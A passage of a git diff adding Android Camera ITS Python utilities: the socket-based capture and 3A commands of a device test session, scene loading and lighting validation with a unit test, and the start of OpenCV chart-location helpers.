+            s for s in cmd['outputSurfaces']
+            if s['format'] == 'yuv' and 'physicalCamera' not in s
+        ]
+        formats_for_id = [
+            s['format']
+            for s in cmd['outputSurfaces']
+            if 'physicalCamera' not in s
+        ]
+      else:
+        yuv_surfaces = [
+            s for s in cmd['outputSurfaces'] if s['format'] == 'yuv' and
+            'physicalCamera' in s and s['physicalCamera'] == cam_id
+        ]
+        formats_for_id = [
+            s['format']
+            for s in cmd['outputSurfaces']
+            if 'physicalCamera' in s and s['physicalCamera'] == cam_id
+        ]
+
+      n_yuv = len(yuv_surfaces)
+      # Compute the buffer size of YUV targets
+      yuv_maxsize_1d = 0
+      for s in yuv_surfaces:
+        if ('width' not in s and 'height' not in s):
+          if self.props is None:
+            raise error_util.CameraItsError('Camera props are unavailable')
+          yuv_maxsize_2d = capture_request_utils.get_available_output_sizes(
+              'yuv', self.props)[0]
+          # YUV420 size = 1.5 bytes per pixel
+          yuv_maxsize_1d = (yuv_maxsize_2d[0] * yuv_maxsize_2d[1] * 3) // 2
+          break
+      yuv_sizes = [
+          (c['width'] * c['height'] * 3) // 2
+          if 'width' in c and 'height' in c else yuv_maxsize_1d
+          for c in yuv_surfaces
+      ]
+      # Currently we don't pass enough metadta from ItsService to distinguish
+      # different yuv stream of same buffer size
+      if len(yuv_sizes) != len(set(yuv_sizes)):
+        raise error_util.CameraItsError(
+            'ITS does not support yuv outputs of same buffer size')
+      if len(formats_for_id) > len(set(formats_for_id)):
+        if n_yuv != len(formats_for_id) - len(set(formats_for_id)) + 1:
+          raise error_util.CameraItsError('Duplicate format requested')
+
+      yuv_bufs[cam_id] = {size: [] for size in yuv_sizes}
+
+    raw_formats = 0
+    raw_formats += 1 if 'dng' in formats else 0
+    raw_formats += 1 if 'raw' in formats else 0
+    raw_formats += 1 if 'raw10' in formats else 0
+    raw_formats += 1 if 'raw12' in formats else 0
+    raw_formats += 1 if 'rawStats' in formats else 0
+    if raw_formats > 1:
+      raise error_util.CameraItsError('Different raw formats not supported')
+
+    # Detect long exposure time and set timeout accordingly
+    longest_exp_time = 0
+    for req in cmd['captureRequests']:
+      if 'android.sensor.exposureTime' in req and req[
+          'android.sensor.exposureTime'] > longest_exp_time:
+        longest_exp_time = req['android.sensor.exposureTime']
+
+    extended_timeout = longest_exp_time // self.SEC_TO_NSEC + self.SOCK_TIMEOUT
+    if repeat_request:
+      extended_timeout += self.EXTRA_SOCK_TIMEOUT
+    self.sock.settimeout(extended_timeout)
+
+    logging.debug('Capturing %d frame%s with %d format%s [%s]', ncap,
+                  's' if ncap > 1 else '', nsurf, 's' if nsurf > 1 else '',
+                  ','.join(formats))
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    # Wait for ncap*nsurf images and ncap metadata responses.
+    # Assume that captures come out in the same order as requested in
+    # the burst, however individual images of different formats can come
+    # out in any order for that capture.
+    nbufs = 0
+    mds = []
+    physical_mds = []
+    widths = None
+    heights = None
+    while nbufs < ncap * nsurf or len(mds) < ncap:
+      json_obj, buf = self.__read_response_from_socket()
+      if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None:
+        fmt = json_obj['tag'][:-5]
+        bufs[self._camera_id][fmt].append(buf)
+        nbufs += 1
+      elif json_obj['tag'] == 'yuvImage':
+        buf_size = numpy.product(buf.shape)
+        yuv_bufs[self._camera_id][buf_size].append(buf)
+        nbufs += 1
+      elif json_obj['tag'] == 'captureResults':
+        mds.append(json_obj['objValue']['captureResult'])
+        physical_mds.append(json_obj['objValue']['physicalResults'])
+        outputs = json_obj['objValue']['outputs']
+        widths = [out['width'] for out in outputs]
+        heights = [out['height'] for out in outputs]
+      else:
+        tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode(
+            'ascii', 'ignore')
+        for x in ItsSession.IMAGE_FORMAT_LIST_2:
+          x = bytes(x, encoding='utf-8')
+          if tag_string.startswith(x):
+            if x == b'yuvImage':
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                buf_size = numpy.product(buf.shape)
+                yuv_bufs[physical_id][buf_size].append(buf)
+                nbufs += 1
+            else:
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                fmt = x[:-5].decode('UTF-8')
+                bufs[physical_id][fmt].append(buf)
+                nbufs += 1
+    rets = []
+    for j, fmt in enumerate(formats):
+      objs = []
+      if 'physicalCamera' in cmd['outputSurfaces'][j]:
+        cam_id = cmd['outputSurfaces'][j]['physicalCamera']
+      else:
+        cam_id = self._camera_id
+
+      for i in range(ncap):
+        obj = {}
+        obj['width'] = widths[j]
+        obj['height'] = heights[j]
+        obj['format'] = fmt
+        if cam_id == self._camera_id:
+          obj['metadata'] = mds[i]
+        else:
+          for physical_md in physical_mds[i]:
+            if cam_id in physical_md:
+              obj['metadata'] = physical_md[cam_id]
+              break
+
+        if fmt == 'yuv':
+          buf_size = (widths[j] * heights[j] * 3) // 2
+          obj['data'] = yuv_bufs[cam_id][buf_size][i]
+        else:
+          obj['data'] = bufs[cam_id][fmt][i]
+        objs.append(obj)
+      rets.append(objs if ncap > 1 else objs[0])
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+    if len(rets) > 1 or (isinstance(rets[0], dict) and
+                         isinstance(cap_request, list)):
+      return rets
+    else:
+      return rets[0]
+
+  def do_vibrate(self, pattern):
+    """Cause the device to vibrate to a specific pattern.
+
+    Args:
+      pattern: Durations (ms) for which to turn on or off the vibrator.
+      The first value indicates the number of milliseconds to wait
+      before turning the vibrator on. The next value indicates the
+      number of milliseconds for which to keep the vibrator on
+      before turning it off. Subsequent values alternate between
+      durations in milliseconds to turn the vibrator off or to turn
+      the vibrator on.
+
+    Returns:
+      Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'doVibrate'
+    cmd['pattern'] = pattern
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'vibrationStarted':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  def set_audio_restriction(self, mode):
+    """Set the audio restriction mode for this camera device.
+
+    Args:
+     mode: int; the audio restriction mode. See CameraDevice.java for valid
+     value.
+    Returns:
+     Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'setAudioRestriction'
+    cmd['mode'] = mode
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'audioRestrictionSet':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  # pylint: disable=dangerous-default-value
+  def do_3a(self,
+            regions_ae=[[0, 0, 1, 1, 1]],
+            regions_awb=[[0, 0, 1, 1, 1]],
+            regions_af=[[0, 0, 1, 1, 1]],
+            do_ae=True,
+            do_awb=True,
+            do_af=True,
+            lock_ae=False,
+            lock_awb=False,
+            get_results=False,
+            ev_comp=0,
+            mono_camera=False):
+    """Perform a 3A operation on the device.
+
+    Triggers some or all of AE, AWB, and AF, and returns once they have
+    converged. Uses the vendor 3A that is implemented inside the HAL.
+    Note: do_awb is always enabled regardless of do_awb flag
+
+    Throws an assertion if 3A fails to converge.
+
+    Args:
+      regions_ae: List of weighted AE regions.
+      regions_awb: List of weighted AWB regions.
+      regions_af: List of weighted AF regions.
+      do_ae: Trigger AE and wait for it to converge.
+      do_awb: Wait for AWB to converge.
+      do_af: Trigger AF and wait for it to converge.
+      lock_ae: Request AE lock after convergence, and wait for it.
+      lock_awb: Request AWB lock after convergence, and wait for it.
+      get_results: Return the 3A results from this function.
+      ev_comp: An EV compensation value to use when running AE.
+      mono_camera: Boolean for monochrome camera.
+
+      Region format in args:
+         Arguments are lists of weighted regions; each weighted region is a
+         list of 5 values, [x, y, w, h, wgt], and each argument is a list of
+         these 5-value lists. The coordinates are given as normalized
+         rectangles (x, y, w, h) specifying the region. For example:
+         [[0.0, 0.0, 1.0, 0.5, 5], [0.0, 0.5, 1.0, 0.5, 10]].
+         Weights are non-negative integers.
+
+    Returns:
+      Five values are returned if get_results is true:
+      * AE sensitivity; None if do_ae is False
+      * AE exposure time; None if do_ae is False
+      * AWB gains (list);
+      * AWB transform (list);
+      * AF focus position; None if do_af is false
+      Otherwise, it returns five None values.
+    """
+    logging.debug('Running vendor 3A on device')
+    cmd = {}
+    cmd['cmdName'] = 'do3A'
+    cmd['regions'] = {
+        'ae': sum(regions_ae, []),
+        'awb': sum(regions_awb, []),
+        'af': sum(regions_af, [])
+    }
+    cmd['triggers'] = {'ae': do_ae, 'af': do_af}
+    if lock_ae:
+      cmd['aeLock'] = True
+    if lock_awb:
+      cmd['awbLock'] = True
+    if ev_comp != 0:
+      cmd['evComp'] = ev_comp
+    if self._hidden_physical_id:
+      cmd['physicalId'] = self._hidden_physical_id
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    # Wait for each specified 3A to converge.
+    ae_sens = None
+    ae_exp = None
+    awb_gains = None
+    awb_transform = None
+    af_dist = None
+    converged = False
+    while True:
+      data, _ = self.__read_response_from_socket()
+      vals = data['strValue'].split()
+      if data['tag'] == 'aeResult':
+        if do_ae:
+          ae_sens, ae_exp = [int(i) for i in vals]
+      elif data['tag'] == 'afResult':
+        if do_af:
+          af_dist = float(vals[0])
+      elif data['tag'] == 'awbResult':
+        awb_gains = [float(f) for f in vals[:4]]
+        awb_transform = [float(f) for f in vals[4:]]
+      elif data['tag'] == '3aConverged':
+        converged = True
+      elif data['tag'] == '3aDone':
+        break
+      else:
+        raise error_util.CameraItsError('Invalid command response')
+    if converged and not get_results:
+      return None, None, None, None, None
+    if (do_ae and ae_sens is None or
+        (not mono_camera and do_awb and awb_gains is None) or
+        do_af and af_dist is None or not converged):
+      raise error_util.CameraItsError('3A failed to converge')
+    return ae_sens, ae_exp, awb_gains, awb_transform, af_dist
+
+  def calc_camera_fov(self, props):
+    """Determine the camera field of view from internal params.
+
+    Args:
+      props: Camera properties object.
+
+    Returns:
+      camera_fov: string; field of view for camera.
+    """
+
+    focal_ls = props['android.lens.info.availableFocalLengths']
+    if len(focal_ls) > 1:
+      logging.debug('Doing capture to determine logical camera focal length')
+      cap = self.do_capture(capture_request_utils.auto_capture_request())
+      focal_l = cap['metadata']['android.lens.focalLength']
+    else:
+      focal_l = focal_ls[0]
+
+    sensor_size = props['android.sensor.info.physicalSize']
+    diag = math.sqrt(sensor_size['height']**2 + sensor_size['width']**2)
+    try:
+      fov = str(round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2))
+    except ValueError:
+      fov = str(0)
+    logging.debug('Calculated FoV: %s', fov)
+    return fov
+
+  def get_file_name_to_load(self, chart_distance, camera_fov, scene):
+    """Get the image to load on the tablet depending on fov and chart_distance.
+
+    Args:
+     chart_distance: float; distance in cm from camera of displayed chart
+     camera_fov: float; camera field of view.
+     scene: String; Scene to be used in the test.
+
+    Returns:
+     file_name: file name to display on the tablet.
+
+    """
+    chart_scaling = opencv_processing_utils.calc_chart_scaling(
+        chart_distance, camera_fov)
+    if numpy.isclose(
+        chart_scaling,
+        opencv_processing_utils.SCALE_TELE_IN_WFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.pdf' % (
+          scene, str(opencv_processing_utils.SCALE_TELE_IN_WFOV_BOX))
+    elif numpy.isclose(
+        chart_scaling,
+        opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.pdf' % (
+          scene, str(opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX))
+    else:
+      file_name = '%s.pdf' % scene
+    logging.debug('Scene to load: %s', file_name)
+    return file_name
+
+  def is_stream_combination_supported(self, out_surfaces):
+    """Query whether out_surfaces combination is supported by the camera device.
+
+    This function hooks up to the isSessionConfigurationSupported() camera API
+    to query whether a particular stream combination is supported.
+
+    Args:
+      out_surfaces: dict; see do_capture() for specifications on out_surfaces
+
+    Returns:
+      Boolean
+    """
+    cmd = {}
+    cmd['cmdName'] = 'isStreamCombinationSupported'
+
+    if not isinstance(out_surfaces, list):
+      cmd['outputSurfaces'] = [out_surfaces]
+    else:
+      cmd['outputSurfaces'] = out_surfaces
+    formats = [c['format'] if 'format' in c else 'yuv'
+               for c in cmd['outputSurfaces']]
+    formats = [s if s != 'jpg' else 'jpeg' for s in formats]
+
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'streamCombinationSupport':
+      raise error_util.CameraItsError('Failed to query stream combination')
+
+    return data['strValue'] == 'supportedCombination'
+
+  def is_camera_privacy_mode_supported(self):
+    """Query whether the mobile device supports camera privacy mode.
+
+    This function checks whether the mobile device has FEATURE_CAMERA_TOGGLE
+    feature support, which indicates the camera device can run in privacy mode.
+
+    Returns:
+      Boolean
+    """
+    cmd = {}
+    cmd['cmdName'] = 'isCameraPrivacyModeSupported'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraPrivacyModeSupport':
+      raise error_util.CameraItsError('Failed to query camera privacy mode'
+                                      ' support')
+    return data['strValue'] == 'true'
+
+
+def parse_camera_ids(ids):
+  """Parse the string of camera IDs into array of CameraIdCombo tuples.
+
+  Args:
+   ids: List of camera ids.
+
+  Returns:
+   Array of CameraIdCombo
+  """
+  camera_id_combo = collections.namedtuple('CameraIdCombo', ['id', 'sub_id'])
+  id_combos = []
+  for one_id in ids:
+    one_combo = one_id.split(':')
+    if len(one_combo) == 1:
+      id_combos.append(camera_id_combo(one_combo[0], None))
+    elif len(one_combo) == 2:
+      id_combos.append(camera_id_combo(one_combo[0], one_combo[1]))
+    else:
+      raise AssertionError('Camera id parameters must be either ID or '
+                           f'ID{SUB_CAMERA_SEPARATOR}SUB_ID')
+  return id_combos
+
+
+def _run(cmd):
+  """Replacement for os.system, with hiding of stdout+stderr messages.
+
+  Args:
+    cmd: Command to be executed in string format.
+  """
+  with open(os.devnull, 'wb') as devnull:
+    subprocess.check_call(cmd.split(), stdout=devnull, stderr=subprocess.STDOUT)
+
+
+def do_capture_with_latency(cam, req, sync_latency, fmt=None):
+  """Helper function to take enough frames to allow sync latency.
+
+  Args:
+    cam: camera object
+    req: request for camera
+    sync_latency: integer number of frames
+    fmt: format for the capture
+  Returns:
+    single capture with the unsettled frames discarded
+  """
+  caps = cam.do_capture([req]*(sync_latency+1), fmt)
+  return caps[-1]
+
+
+def load_scene(cam, props, scene, tablet, chart_distance):
+  """Load the scene for the camera based on the FOV.
+
+  Args:
+    cam: camera object
+    props: camera properties
+    scene: scene to be loaded
+    tablet: tablet to load scene on
+    chart_distance: distance to tablet
+  """
+  if not tablet:
+    logging.info('Manual run: no tablet to load scene on.')
+    return
+  # Calculate camera_fov which will determine the image to load on tablet.
+  camera_fov = cam.calc_camera_fov(props)
+  file_name = cam.get_file_name_to_load(chart_distance, camera_fov, scene)
+  logging.debug('Displaying %s on the tablet', file_name)
+  # Display the scene on the tablet depending on camera_fov
+  tablet.adb.shell(
+      'am start -a android.intent.action.VIEW -t application/pdf '
+      f'-d file://mnt/sdcard/Download/{file_name}')
+  time.sleep(LOAD_SCENE_DELAY_SEC)
+  rfov_camera_in_rfov_box = (
+      numpy.isclose(
+          chart_distance,
+          opencv_processing_utils.CHART_DISTANCE_RFOV, rtol=0.1) and
+      opencv_processing_utils.FOV_THRESH_TELE <= float(camera_fov)
+      <= opencv_processing_utils.FOV_THRESH_WFOV)
+  wfov_camera_in_wfov_box = (
+      numpy.isclose(
+          chart_distance,
+          opencv_processing_utils.CHART_DISTANCE_WFOV, rtol=0.1) and
+      float(camera_fov) > opencv_processing_utils.FOV_THRESH_WFOV)
+  if rfov_camera_in_rfov_box or wfov_camera_in_wfov_box:
+    cam.do_3a()
+    cap = cam.do_capture(
+        capture_request_utils.auto_capture_request(), cam.CAP_YUV)
+    y_plane, _, _ = image_processing_utils.convert_capture_to_planes(cap)
+    validate_lighting(y_plane, scene)
+
+
+def validate_lighting(y_plane, scene):
+  """Validates the lighting level in scene corners based on empirical values.
+
+  Args:
+    y_plane: Y plane of YUV image
+    scene: scene name
+  Returns:
+    boolean True if lighting validated, else raise AssertionError
+  """
+  logging.debug('Validating lighting levels.')
+
+  # Test patches from each corner.
+  for location, coordinates in _VALIDATE_LIGHTING_REGIONS.items():
+    patch = image_processing_utils.get_image_patch(
+        y_plane, coordinates[0], coordinates[1],
+        _VALIDATE_LIGHTING_PATCH_W, _VALIDATE_LIGHTING_PATCH_H)
+    y_mean = image_processing_utils.compute_image_means(patch)[0]
+    logging.debug('%s corner Y mean: %.3f', location, y_mean)
+    if y_mean > _VALIDATE_LIGHTING_THRESH:
+      logging.debug('Lights ON in test rig.')
+      return True
+  image_processing_utils.write_image(y_plane, f'validate_lighting_{scene}.jpg')
+  raise AssertionError('Lights OFF in test rig. Please turn ON and retry.')
+
+
+def get_build_sdk_version(device_id):
+  """Return the int build version of the device."""
+  cmd = 'adb -s %s shell getprop ro.build.version.sdk' % device_id
+  try:
+    build_sdk_version = int(subprocess.check_output(cmd.split()).rstrip())
+    logging.debug('Build SDK version: %d', build_sdk_version)
+  except (subprocess.CalledProcessError, ValueError):
+    raise AssertionError('No build_sdk_version.')
+  return build_sdk_version
+
+
+def get_first_api_level(device_id):
+  """Return the int value for the first API level of the device."""
+  cmd = 'adb -s %s shell getprop ro.product.first_api_level' % device_id
+  try:
+    first_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+    logging.debug('First API level: %d', first_api_level)
+  except (subprocess.CalledProcessError, ValueError):
+    logging.error('No first_api_level. Setting to build version.')
+    first_api_level = get_build_sdk_version(device_id)
+  return first_api_level
+
+
+class ItsSessionUtilsTests(unittest.TestCase):
+  """Run a suite of unit tests on this module."""
+
+  _BRIGHTNESS_CHECKS = (0.0,
+                        _VALIDATE_LIGHTING_THRESH-0.01,
+                        _VALIDATE_LIGHTING_THRESH,
+                        _VALIDATE_LIGHTING_THRESH+0.01,
+                        1.0)
+  _TEST_IMG_W = 640
+  _TEST_IMG_H = 480
+
+  def _generate_test_image(self, brightness):
+    """Creates a Y plane array with pixel values of brightness.
+
+    Args:
+      brightness: float between [0.0, 1.0]
+
+    Returns:
+      Y plane array with elements of value brightness
+    """
+    test_image = numpy.zeros((self._TEST_IMG_W, self._TEST_IMG_H, 1),
+                             dtype=float)
+    test_image.fill(brightness)
+    return test_image
+
+  def test_validate_lighting(self):
+    """Tests validate_lighting() works correctly."""
+    # Run with different brightnesses to validate.
+    for brightness in self._BRIGHTNESS_CHECKS:
+      logging.debug('Testing validate_lighting with brightness %.1f',
+                    brightness)
+      test_image = self._generate_test_image(brightness)
+      print(f'Testing brightness: {brightness}')
+      if brightness <= _VALIDATE_LIGHTING_THRESH:
+        self.assertRaises(
+            AssertionError, validate_lighting, test_image, 'unittest')
+      else:
+        self.assertTrue(validate_lighting(test_image, 'unittest'),
+                        f'image value {brightness} should PASS')
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
new file mode 100644
index 0000000..ac0daa0
--- /dev/null
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -0,0 +1,602 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Image processing utilities using openCV."""
+
+
+import logging
+import math
+import os
+import unittest
+
+import numpy
+
+
+import cv2
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+
+ANGLE_CHECK_TOL = 1  # degrees
+ANGLE_NUM_MIN = 10  # Minimum number of angles for find_angle() to be valid
+
+
+TEST_IMG_DIR = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images')
+CHART_FILE = os.path.join(TEST_IMG_DIR, 'ISO12233.png')
+CHART_HEIGHT = 13.5  # cm
+CHART_DISTANCE_RFOV = 31.0  # cm
+CHART_DISTANCE_WFOV = 22.0  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+
+CIRCLE_AR_ATOL = 0.1  # circle aspect ratio tolerance
+CIRCLISH_ATOL = 0.10  # contour area vs ideal circle area & aspect ratio TOL
+CIRCLISH_LOW_RES_ATOL = 0.15  # loosen for low res images
+CIRCLE_MIN_PTS = 20
+CIRCLE_RADIUS_NUMPTS_THRESH = 2  # contour num_pts/radius: empirically ~3x
+
+CV2_RED = (255, 0, 0)  # color in cv2 to draw lines
+
+FOV_THRESH_SUPER_TELE = 40
+FOV_THRESH_TELE = 60
+FOV_THRESH_WFOV = 90
+
+LOW_RES_IMG_THRESH = 320 * 240
+
+RGB_GRAY_WEIGHTS = (0.299, 0.587, 0.114)  # RGB to Gray conversion matrix
+
+SCALE_RFOV_IN_WFOV_BOX = 0.67
+SCALE_TELE_IN_RFOV_BOX = 0.67
+SCALE_TELE_IN_WFOV_BOX = 0.5
+SCALE_SUPER_TELE_IN_RFOV_BOX = 0.5
+
+SQUARE_AREA_MIN_REL = 0.05  # Minimum size for square relative to image area
+SQUARE_TOL = 0.1  # Square W vs H mismatch RTOL
+
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
+
+
+def find_all_contours(img):
+  cv2_version = cv2.__version__
+  if cv2_version.startswith('3.'):  # OpenCV 3.x
+    _, contours, _ = cv2.findContours(img, cv2.RETR_TREE,
+                                      cv2.CHAIN_APPROX_SIMPLE)
+  else:  # OpenCV 2.x and 4.x
+    contours, _ = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+  return contours
+
+
+def calc_chart_scaling(chart_distance, camera_fov):
+  """Returns charts scaling factor.
+
+  Args:
+   chart_distance: float; distance in cm from camera of displayed chart
+   camera_fov: float; camera field of view.
+
+  Returns:
+   chart_scaling: float; scaling factor for chart
+  """
+  chart_scaling = 1.0
+  camera_fov = float(camera_fov)
+  if (FOV_THRESH_TELE < camera_fov < FOV_THRESH_WFOV and
+      numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
+    chart_scaling = SCALE_RFOV_IN_WFOV_BOX
+  elif (camera_fov <= FOV_THRESH_TELE and
+        numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
+    chart_scaling = SCALE_TELE_IN_WFOV_BOX
+  elif (camera_fov <= FOV_THRESH_SUPER_TELE and
+        numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
+    chart_scaling = SCALE_SUPER_TELE_IN_RFOV_BOX
+  elif (camera_fov <= FOV_THRESH_TELE and
+        numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
+    chart_scaling = SCALE_TELE_IN_RFOV_BOX
+  return chart_scaling
+
+
+def scale_img(img, scale=1.0):
+  """Scale image based on a real number scale factor."""
+  dim = (int(img.shape[1] * scale), int(img.shape[0] * scale))
+  return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
+
+
+def gray_scale_img(img):
+  """Return gray scale version of image."""
+  if len(img.shape) == 2:
+    img_gray = img.copy()
+  elif len(img.shape) == 3:
+    if img.shape[2] == 1:
+      img_gray = img[:, :, 0].copy()
+    else:
+      img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
+  return img_gray
+
+
+class Chart(object):
+  """Definition for chart object.
+
+  Defines PNG reference file, chart, size, distance and scaling range.
+  """
+
+  def __init__(
+      self,
+      cam,
+      props,
+      log_path,
+      chart_loc=None,
+      chart_file=None,
+      height=None,
+      distance=None,
+      scale_start=None,
+      scale_stop=None,
+      scale_step=None):
+    """Initial constructor for class.
+
+    Args:
+     cam: open ITS session
+     props: camera properties object
+     log_path: log path to store the captured images.
+     chart_loc: chart locator arg.
+     chart_file: str; absolute path to png file of chart
+     height: float; height in cm of displayed chart
+     distance: float; distance in cm from camera of displayed chart
+     scale_start: float; start value for scaling for chart search
+     scale_stop: float; stop value for scaling for chart search
+     scale_step: float; step value for scaling for chart search
+    """
+    self._file = chart_file or CHART_FILE
+    self._height = height or CHART_HEIGHT
+    self._distance = distance or CHART_DISTANCE_RFOV
+    self._scale_start = scale_start or CHART_SCALE_START
+    self._scale_stop = scale_stop or CHART_SCALE_STOP
+    self._scale_step = scale_step or CHART_SCALE_STEP
+    self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = (
+        image_processing_utils.chart_located_per_argv(chart_loc))
+    if not self.xnorm:
+      if camera_properties_utils.read_3a(props):
+        self.locate(cam, props, log_path)
+      else:
+        logging.debug('Chart locator skipped.')
+        self._set_scale_factors_to_one()
+
+  def _set_scale_factors_to_one(self):
+    """Set scale factors to 1.0 for skipped tests."""
+    self.wnorm = 1.0
+    self.hnorm = 1.0
+    self.xnorm = 0.0
+    self.ynorm = 0.0
+    self.scale = 1.0
+
+  def _calc_scale_factors(self, cam, props, fmt, s, e, fd, log_path):
+    """Take an image with s, e, & fd to find the chart location.
+
+    Args:
+     cam: An open its session.
+     props: Properties of cam
+     fmt: Image format for the capture
+     s: Sensitivity for the AF request as defined in
+                            android.sensor.sensitivity
+     e: Exposure time for the AF request as defined in
+                            android.sensor.exposureTime
+     fd: float; autofocus lens position
+     log_path: log path to save the captured images.
+
+    Returns:
+      template: numpy array; chart template for locator
+      img_3a: numpy array; RGB image for chart location
+      scale_factor: float; scaling factor for chart search
+    """
+    req = capture_request_utils.manual_capture_request(s, e)
+    req['android.lens.focusDistance'] = fd
+    cap_chart = image_processing_utils.stationary_lens_cap(cam, req, fmt)
+    img_3a = image_processing_utils.convert_capture_to_rgb_image(
+        cap_chart, props)
+    img_3a = image_processing_utils.rotate_img_per_argv(img_3a)
+    af_scene_name = os.path.join(log_path, 'af_scene.jpg')
+    image_processing_utils.write_image(img_3a, af_scene_name)
+    template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
+    focal_l = cap_chart['metadata']['android.lens.focalLength']
+    pixel_pitch = (
+        props['android.sensor.info.physicalSize']['height'] / img_3a.shape[0])
+    logging.debug('Chart distance: %.2fcm', self._distance)
+    logging.debug('Chart height: %.2fcm', self._height)
+    logging.debug('Focal length: %.2fmm', focal_l)
+    logging.debug('Pixel pitch: %.2fum', pixel_pitch * 1E3)
+    logging.debug('Template height: %dpixels', template.shape[0])
+    chart_pixel_h = self._height * focal_l / (self._distance * pixel_pitch)
+    scale_factor = template.shape[0] / chart_pixel_h
+    logging.debug('Chart/image scale factor = %.2f', scale_factor)
+    return template, img_3a, scale_factor
+
+  def locate(self, cam, props, log_path):
+    """Find the chart in the image, and append location to chart object.
+
+    Args:
+      cam: Open its session.
+      props: Camera properties object.
+      log_path: log path to store the captured images.
+
+    The values appended are:
+    xnorm: float; [0, 1] left loc of chart in scene
+    ynorm: float; [0, 1] top loc of chart in scene
+    wnorm: float; [0, 1] width of chart in scene
+    hnorm: float; [0, 1] height of chart in scene
+    scale: float; scale factor to extract chart
+    """
+    if camera_properties_utils.read_3a(props):
+      s, e, _, _, fd = cam.do_3a(get_results=True)
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt, s, e,
+                                                        fd, log_path)
+    else:
+      logging.debug('Chart locator skipped.')
+      self._set_scale_factors_to_one()
+      return
+    scale_start = self._scale_start * s_factor
+    scale_stop = self._scale_stop * s_factor
+    scale_step = self._scale_step * s_factor
+    self.scale = s_factor
+    max_match = []
+    # check for normalized image
+    if numpy.amax(scene) <= 1.0:
+      scene = (scene * 255.0).astype(numpy.uint8)
+    scene_gray = gray_scale_img(scene)
+    logging.debug('Finding chart in scene...')
+    for scale in numpy.arange(scale_start, scale_stop, scale_step):
+      scene_scaled = scale_img(scene_gray, scale)
+      if (scene_scaled.shape[0] < chart.shape[0] or
+          scene_scaled.shape[1] < chart.shape[1]):
+        continue
+      result = cv2.matchTemplate(scene_scaled, chart, cv2.TM_CCOEFF)
+      _, opt_val, _, top_left_scaled = cv2.minMaxLoc(result)
+      logging.debug(' scale factor: %.3f, opt val: %.f', scale, opt_val)
+      max_match.append((opt_val, top_left_scaled))
+
+    # determine if optimization results are valid
+    opt_values = [x[0] for x in max_match]
+    if 2.0 * min(opt_values) > max(opt_values):
+      estring = ('Warning: unable to find chart in scene!\n'
+                 'Check camera distance and self-reported '
+                 'pixel pitch, focal length and hyperfocal distance.')
+      logging.warning(estring)
+      self._set_scale_factors_to_one()
+    else:
+      if (max(opt_values) == opt_values[0] or
+          max(opt_values) == opt_values[len(opt_values) - 1]):
+        estring = ('Warning: Chart is at extreme range of locator.')
+        logging.warning(estring)
+      # find max and draw bbox
+      match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+      self.scale = scale_start + scale_step * match_index
+      logging.debug('Optimum scale factor: %.3f', self.scale)
+      top_left_scaled = max_match[match_index][1]
+      h, w = chart.shape
+      bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
+      top_left = ((top_left_scaled[0] // self.scale),
+                  (top_left_scaled[1] // self.scale))
+      bottom_right = ((bottom_right_scaled[0] // self.scale),
+                      (bottom_right_scaled[1] // self.scale))
+      self.wnorm = ((bottom_right[0]) - top_left[0]) / scene.shape[1]
+      self.hnorm = ((bottom_right[1]) - top_left[1]) / scene.shape[0]
